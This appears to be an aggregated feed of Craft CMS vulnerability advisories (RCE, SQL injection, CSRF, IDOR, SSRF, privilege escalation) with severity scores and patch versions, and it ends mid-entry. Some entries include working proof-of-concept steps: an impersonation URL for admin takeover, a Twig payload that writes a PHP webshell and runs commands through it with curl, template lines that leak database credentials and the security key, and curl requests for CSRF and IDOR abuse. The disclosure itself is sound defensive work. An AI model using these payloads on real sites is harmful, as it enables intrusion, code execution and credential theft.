Where
AND
-Infinity
0
Severity
6.9
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Craft CMS contains an external control of assumed-immutable web parameter vulnerability. This vulnerability could allow an unauthenticated client to introduce arbitrary values, such as PHP code, to a known local file location on the server. This vulnerability could be chained with CVE-2024-58136 as represented by CVE-2025-32432.

1 / 3
Source: CISA
First published (updated )
Code Injection
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L

Impact

This is an additional fix for https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g

This is a high-impact, low-complexity attack vector. To mitigate the issue, users running Craft installations before the fixed versions are encouraged to update to at least that version.

Details

https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432

References

https://github.com/craftcms/cms/commit/e1c85441fa47eeb7c688c2053f25419bc0547b47

https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5617---2025-04-10-critical

https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

Credits

Credit to Orange Cyberdefense for discovering a reporting this bug.

1 / 3
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.04%
Code Injection
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Impact

This is an RCE vulnerability that affects Craft 4 and 5 installs where your security key has already been compromised.

https://craftcms.com/knowledge-base/securing-craft#keep-your-secrets-secret

Anyone running an unpatched version of Craft with a compromised security key is affected.

Patches

This has been patched in Craft 5.5.8 and 4.13.8.

Workarounds

If you can't update to a patched version, then rotating your security key and ensuring its privacy will help to migitgate the issue.

References

https://github.com/craftcms/cms/commit/e59e22b30c9dd39e5e2c7fe02c147bcbd004e603

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
OS Command Injection, Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact You are affected if your php.ini configuration has registerargcargv enabled.

Patches Update to 3.9.14, 4.13.2, or 5.5.2.

Workarounds If you can't upgrade yet, and registerargcargv is enabled, you can disable it to mitigate the issue.

1 / 3
Source: GitHub
First published (updated )
Severity
2.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

An unauthenticated user can call assets/generate-transform with a private assetId, receive a valid transform URL, and fetch transformed image bytes.

The endpoint is anonymous and does not enforce per-asset authorization before returning the transform URL.

Details

Root cause: - Anonymous endpoint accepts user-controlled asset reference. - It creates and returns a transform URL for that asset without checking access rights. - If the transform output is reachable, guest users can read content derived from private assets.

Who is impacted:

- Installations where private source assets can be transformed and transform URLs are reachable.

Security consequence:

- Anonymous users can obtain content derived from private assets without authentication.

Resources

https://github.com/craftcms/cms/commit/7290d91639e

1 / 2
Source: GitHub
First published (updated )
Severity
1.3
Infoleak
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A low-privileged authenticated user can call assets/image-editor with the ID of a private asset they cannot view and still receive editor response data, including focalPoint.

The endpoint returns private editing metadata without per-asset authorization validation.

Root-cause analysis:

1. actionImageEditor() accepts assetId from the request body. 2. The asset is loaded, and the focal-point data is read. 3. Response returns html and focalPoint. 4. No explicit authorization check is applied before the response.

Impact

Affected deployments:

Craft sites where asset edit metadata should remain restricted to authorized users.

Security consequence:

Unauthorized users can extract private editor metadata and related editor context for inaccessible assets.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Guest users can access Config Sync updater index, obtain signed data, and execute state-changing Config Sync actions (regenerate-yaml, apply-yaml-changes) without authentication.

Details

ConfigSyncController extends BaseUpdaterController, and the base updater is anonymously accessible for control panel requests. index emits signed updater state (data), which can be reused by guests in subsequent requests.

Sensitive actions that are reachable via this method are actionApplyYamlChanges, actionRegenerateYaml, applyExternalChanges, and regenerateExternalConfig.

Reproduction steps

1. Guest POST to:

http POST /admin/actions/config-sync/index

2. Extract data from returned JS state:

Craft.updater = ... setState({"data":"<signedData>", ...});

3. Reuse data as a guest:

POST /admin/actions/config-sync/regenerate-yaml data=<signedData>&<csrfParam>=<csrfToken>

or

POST /admin/actions/config-sync/apply-yaml-changes data=<signedData>&<csrfParam>=<csrfToken>

4. Observe completed response and state/file changes.

Impact

Unauthenticated users can execute project configuration sync operations that should be restricted to trusted admin/deployment contexts.

Depending on the pending YAML/config state, this can cause unauthorized config state transitions and a service integrity risk.

Resources

https://github.com/craftcms/cms/commit/7f0ead833f7

1 / 2
Source: GitHub
First published (updated )
Severity
4.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A low-privileged authenticated user can read private asset content by calling assets/edit-image with an arbitrary assetId that they are not authorized to view.

The endpoint returns image bytes (or a preview redirect) without enforcing a per-asset view authorization check, leading to potential unauthorized disclosure of private files.

Details

Root cause: - A user-controlled object reference (assetId) is used to load and return sensitive content. - The action does not verify whether the current user is authorized to view that asset. - This creates an authenticated IDOR / authorization bypass.

Impact

- Craft installations where private/non-public assets exist and low-privileged users can authenticate.

Resources

https://github.com/craftcms/cms/commit/7290d91639e

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
EPSS
0.03%
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A low-privilege user (or an unauthenticated user who has been sent a shared URL) can escalate their privileges to admin by abusing UsersController->actionImpersonateWithToken.

Affected users should update to Craft 4.17.6 and 5.9.12 to mitigate the issue.

Details This vulnerability allows any low-privilege user to escalate their privileges and become an admin, or, in extreme circumstances, unprivileged users to do the same.

Therefore, this vulnerability affects Craft Pro and Team more than Craft Solo.

Specifically, an attacker who possesses a valid “preview token” can then append &action=users/impersonate-with-token&userId=1&prevUserId=1 to the preview URL to hijack the request into the impersonation endpoint, logging in as any user (including admin) without authentication. Getting the preview token is easy, and all an editor would have to do is create a single article, click “Preview”, and then recover this token.

Here’s what happens:

1. The action re-dispatch in actionPreview() passes $skipSpecialHandling=true to handleRequest(), bypassing all security guards, and passes $checkToken=false to checkIfActionRequest(), which allows an attacker-controlled action query parameter to override the dispatch target. 2. The requireToken() guard on actionImpersonateWithToken() only checks a boolean (hadToken) that was set when the preview token was initially resolved. It does not verify that the token was intended for the impersonation action, and so any valid token from any route satisfies the check. 3. actionImpersonateWithToken is listed in $allowAnonymous and performs no authorization beyond requireToken(), so no prior authentication is required.

PoC

The PoC achieves full admin takeover on the latest Craft CMS 5.9.10. Spawn a local version of Craft. Then, you’ll want to log in and create a valid setup:

1. Log in at http://host:18895/admin 2. Go to Settings,  Sections, New Section (name: "Blog", type: "Channel") 3. Under Site Settings, set URI Format to blog/{slug} 4. Then go to Entries, New Entry, Blog, and give it any title

Next, obtain a preview token

1. Open the saved entry in the editor 2. Click the Preview button 3. A preview pane opens with the entry rendered in an iframe 4. Right-click inside the preview pane and Inspect Element 5. Find the <iframe> element; its src contains the tokenized URL: http://host:18895/blog/title?x-craft-live-preview=...&token=XXXXXXXX 6. Copy the token= value

Finally, execute the exploit:

1. Open a new incognito/private browser window   2. Navigate to: http://host:18895/?token=XXXXXXXX&action=users/impersonate-with-token&userId=1&prevUserId=1   3. You may see a 404. This is expected.

To verify the exploit, in the same incognito tab, navigate to http://host:18895/admin. You should land on the admin dashboard, logged in as admin, without ever entering credentials.

Impact

Privilege escalation; everyone is impacted.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.03%
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.5 and from version 5.0.0-RC1 to before version 5.9.11, the AssetsController->replaceFile() method has a targetFilename body parameter that is used unsanitized in a deleteFile() call before Assets::prepareAssetName() is applied on save. This allows an authenticated user with replaceFiles permission to delete arbitrary files within the same filesystem root by injecting ../ path traversal sequences into the filename. This could allow an authenticated user with replaceFiles permission on one volume to delete files in other folders/volumes that share the same filesystem root. This only affects local filesystems. This issue has been patched in versions 4.17.5 and 5.9.11.

1 / 2
Source: MITRE
First published (updated )
Severity
8.6
EPSS
0.02%
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.5 and from version 5.0.0-RC1 to before version 5.9.11, there is a Behavior injection RCE vulnerability in ElementIndexesController and FieldsController. Craft control panel administrator permissions and allowAdminChanges must be enabled for this to work. This issue has been patched in versions 4.17.5 and 5.9.11.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
EPSS
0.10%
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A Remote Code Execution vulnerability exists in the Craft CMS 5 conditions system.

The BaseElementSelectConditionRule::getElementIds() method passes user-controlled string input through renderObjectTemplate() -- an unsandboxed Twig rendering function with escaping disabled.

Any authenticated Control Panel user (including non-admin roles such as Author or Editor) can achieve full RCE by sending a crafted condition rule via standard element listing endpoints.

This vulnerability requires no admin privileges, no special permissions beyond basic control panel access, and bypasses all production hardening settings (allowAdminChanges: false, devMode: false, enableTwigSandbox: true).

Users should update to the patched 5.99 release to mitigate the issue.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.03%
SQL Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a content management system (CMS). The ElementSearchController::actionSearch() endpoint is missing the unset() protection that was added to ElementIndexesController in CVE-2026-25495. The exact same SQL injection vulnerability (including criteria[orderBy], the original advisory vector) works on this controller because the fix was never applied to it. Any authenticated control panel user (no admin required) can inject arbitrary SQL via criteria[where], criteria[orderBy], or other query properties, and extract the full database contents via boolean-based blind injection. Users should update to the patched 5.9.9 release to mitigate the issue.

1 / 2
Source: MITRE
First published (updated )
Severity
4.3
EPSS
0.01%
CSRF
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Craft CMS has a CSRF issue in the preview token endpoint at /actions/preview/create-token. The endpoint accepts an attacker-supplied previewToken.

Because the action does not require POST and does not enforce a CSRF token, an attacker can force a logged-in victim editor to mint a preview token chosen by the attacker.

That token can then be used by the attacker (without authentication) to access previewed/unpublished content tied to the victim’s authorized preview scope.

---

Preconditions - Victim is logged in to Craft control panel. - Victim has active preview authorization in session for target content (e.g., opened/edited an entry). - The attacker must know the target’s canonicalId and public URL path of that entry.

1) Attacker prepares a fixed token Use any 32-character value, for example: text aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

2) CSRF victim into minting that token Send the victim a link (or top-level redirect) such as: text https://TARGET/actions/preview/create-token?elementType=craft%5Celements%5CEntry&canonicalId=123&siteId=1&previewToken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&redirect=https%3A%2F%2FTARGET%2F

If the victim is logged in and authorized for previewElement:123, Craft creates that exact token.

3) Attacker accesses preview content unauthenticated bash curl -i 'https://TARGET/news/known-entry-slug?token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

Expected vulnerable behavior:

- Response renders preview/unpublished state (draft/provisional context), not just normal public content.

---

Impact - CSRF-based minting of attacker-known preview tokens. - Unauthorized access to draft/provisional/revision content via token replay. - Stealthy one-click exploitation against logged-in editors/admins. - No dependency on forwarded-host poisoning.

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.06%
Path Traversal, Code Injection
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a content management system (CMS). There is an authenticated admin RCE in Craft CMS 5.8.21 via Server-Side Template Injection using the create() Twig function combined with a Symfony Process gadget chain. The create() Twig function exposes Craft::createObject(), which allows instantiation of arbitrary PHP classes with constructor arguments. Combined with the bundled symfony/process dependency, this enables RCE. This bypasses the fix implemented for CVE-2025-57811 (patched in 5.8.7). This vulnerability is fixed in 5.9.0-beta.1 and 4.17.0-beta.1.

1 / 2
Source: MITRE
First published (updated )
Severity
9.4
EPSS
0.50%
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.

--- Proof of Concept

Attack Prerequisites

- Authenticated administrator account with allowAdminChanges enabled, or access to the System Messages utility

Steps to Reproduce

1. Navigate to Utilities → System Messages (/admin/utilities/system-messages) 2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject): - To exploit it by writing to a file system: - Note: Replace the filesystem handle (e.g., hardDisk) with a valid handle configured in the target installation. twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($GET["c"]) ? system($GET["c"]) : null; ?>') }} - To exploit it by writing to a volume: - Note: Replace the volume handle (e.g., images) with a valid handle configured in the target installation. twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($GET["c"]) ? system($GET["c"]) : null; ?>') }} <img width="982" height="901" alt="payload-injection" src="https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e" /> 3. Save & go to Settings → Email (/admin/settings/email) 4. Click "Test" at the bottom of the page to trigger template rendering 5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser: Note: The path might be different on your end depending on the filesystem or volume configuration. bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) <img width="791" height="440" alt="rce-poc" src="https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4" />

--- Additional Impact

The same craft.app exposure without any security measures enables additional attack vectors:

Database Credential Disclosure

Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.

twig {{ craft.app.db.username }} {{ craft.app.db.password }} {{ craft.app.db.dsn }}

Security Key Disclosure

Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection. twig {{ craft.app.config.general.securityKey }} Recommended Fix - Add Twig sandbox rules to block write, writeFileFromStream, deleteFile, and similar destructive methods - Consider allowlist approach for craft.app properties accessible in templates rather than exposing the entire application

Resources

https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
EPSS
0.09%
Code Injection, SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.

In order to be able to successfully execute this attack, you need to either have allowAdminChanges enabled on production, or a compromised admin account, or an account with access to the System Messages utility.

Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.

Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether.

https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096

This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the enableTwigSandbox config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.

Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.

Resources

https://github.com/craftcms/cms/pull/18208

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
EPSS
0.05%
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a content management system (CMS). Prior to 5.8.22 and 4.16.18, it is possible to craft a malicious payload using the Twig map filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE. For this to work, you must have administrator access to the Craft Control Panel, and allowAdminChanges must be enabled for this to work, which is against our recommendations for any non-dev environment. Alternatively, you can have a non-administrator account with allowAdminChanges disabled, but you have access to the System Messages utility. Users should update to the patched versions (5.8.22 and 4.16.18) to mitigate the issue.

1 / 2
Source: MITRE
First published (updated )
Severity
5.3
EPSS
0.03%
CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Description The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.

Furthermore, this vulnerability allows duplicating other users' entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.

Proof of Concept Prerequisites - A user with "View Entries" permission on any section.

Steps to Reproduce 1. Log in as a user with minimal permissions ("View Entries"). 1. Identify the target Entry ID (e.g., via brute-force 1 to N). 1. Send the following cURL request: > Replace craft.local, <Cookie>, <CSRF> and 6393 (which is the entry ID): bash curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action' 1. Observe that a new entry is created with the attacker as the owner, granting full access to the content.

Resources

https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Description The entry creation process allows for Mass Assignment of the authorId attribute. A user with "Create Entries" permission can inject the authorIds[] (or authorId) parameter into the POST request, which the backend processes without verifying if the current user is authorized to assign authorship to others.

Normally, this field is not present in the request for users without the necessary permissions. By manually adding this parameter, an attacker can attribute the new entry to any user, including Admins. This effectively "spoofs" the authorship.

Proof of Concept Prerequisites - A user account with "Create Entries" permission for a section. - Victim's account ID (e.g., 1 for the default Admin).

Steps to Reproduce 1. Log in as the attacker 1. Navigate to the "Entries" section and click "New Entry" 1. Fill in the required fields 1. Enable a proxy tool (e.g., Burp Suite) to intercept requests 1. Click "Save" & Intercept the request 1. In the request body, add a new parameter to the body params: &authorIds[]=<VictimID> 1. Forward the request 1. Log in as an admin / as with the victim account 1. Go to entries & Observe the newly created entry is listed and the author is the victim account, not the actual creator

Impact - A user can create entries that appear to belong to higher-privileged users, potentially bypassing review processes or gaining trust based on false authorship. - An attacker could post malicious or inappropriate content attributed to an administrator or other trusted users.

Resources

https://github.com/craftcms/cms/commit/c6dcbdffaf6ab3ffe77d317336684d83699f4542 https://github.com/craftcms/cms/commit/830b403870cd784b47ae42a3f5a16e7ac2d7f5a8

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a content management system (CMS). Prior to 4.17.0-beta.1 and 5.9.0-beta.1, the GraphQL directive @parseRefs, intended to parse internal reference tags (e.g., {user:1:email}), can be abused by both authenticated users and unauthenticated guests (if a Public Schema is enabled) to access sensitive attributes of any element in the CMS. The implementation in Elements::parseRefs fails to perform authorization checks, allowing attackers to read data they are not authorized to view. This vulnerability is fixed in 4.17.0-beta.1 and 5.9.0-beta.1.

1 / 2
Source: MITRE
First published (updated )
Severity
6.9
EPSS
0.05%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a content management system (CMS). Prior to 5.9.0-beta.2 and 4.17.0-beta.2, the actionSendActivationEmail() endpoint is accessible to unauthenticated users and does not require a permission check for pending users. An attacker with no prior access can trigger activation emails for any pending user account by knowing or guessing the user ID. If the attacker controls the target user’s email address, they can activate the account and gain access to the system. This vulnerability is fixed in 5.9.0-beta.2 and 4.17.0-beta.2.

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
EPSS
0.03%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the <VolumeName> volume and creating assets in the <VolumeName> volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue.

1 / 2
Source: MITRE
First published (updated )
Severity
6.9
EPSS
0.01%
Race Condition
CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A Time-of-Check-Time-of-Use (TOCTOU) race condition exists in Craft CMS’s token validation service for tokens that explicitly set a limited usage. The getTokenRoute() method reads a token’s usage count, checks if it’s within limits, then updates the database in separate non-atomic operations. By sending concurrent requests, an attacker can use a single-use impersonation token multiple times before the database update completes.

To make this work, an attacker needs to obtain a valid user account impersonation URL with a non-expired token via some other means and exploit a race condition while bypassing any rate-limiting rules in place.

For this to be a privilege escalation, the impersonation URL must include a token for a user account with more permissions than the current user.

References

https://github.com/craftcms/cms/commit/3e4afe18279951c024c64896aa2b93cda6d95fdf

1 / 2
Source: GitHub
First published (updated )
Severity
7
EPSS
0.01%
SSRF
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The SSRF validation in Craft CMS’s GraphQL Asset mutation performs DNS resolution separately from the HTTP request. This Time-of-Check-Time-of-Use (TOCTOU) vulnerability enables DNS rebinding attacks, where an attacker’s DNS server returns different IP addresses for validation compared to the actual request.

This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc) that allows access to all blocked IPs, not just IPv6 endpoints.

Severity

Bypass of cloud metadata SSRF protection for all blocked IPs

Required Permissions

Exploitation requires GraphQL schema permissions for: - Edit assets in the <VolumeName> volume - Create assets in the <VolumeName> volume

These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions)

---

Technical Details

Vulnerable Code Flow

The code at src/gql/resolvers/mutations/Asset.php performs two separate DNS lookups:

php // VALIDATION PHASE: First DNS resolution at time T1 private function validateHostname(string $url): bool { $hostname = parseurl($url, PHPURLHOST); $ip = gethostbyname($hostname); // DNS Lookup #1 - Returns safe IP

if (inarray($ip, [ '169.254.169.254', // AWS, GCP, Azure IMDS '169.254.170.2', // AWS ECS metadata '100.100.100.200', // Alibaba Cloud '192.0.0.192', // Oracle Cloud ])) { return false; // Check passes - IP looks safe } return true; }

// ... time gap between validation and request ...

// REQUEST PHASE: Second DNS resolution at time T2 (inside Guzzle) $response = $client->get($url); // DNS Lookup #2 - Guzzle resolves DNS AGAIN // Now returns 169.254.169.254!

Root Cause

Two separate DNS lookups occur: 1. Validation: gethostbyname() in validateHostname() 2. Request: Guzzle's internal DNS resolution via libcurl

An attacker controlling a DNS server can return different IPs for each query.

Bypass Mechanism

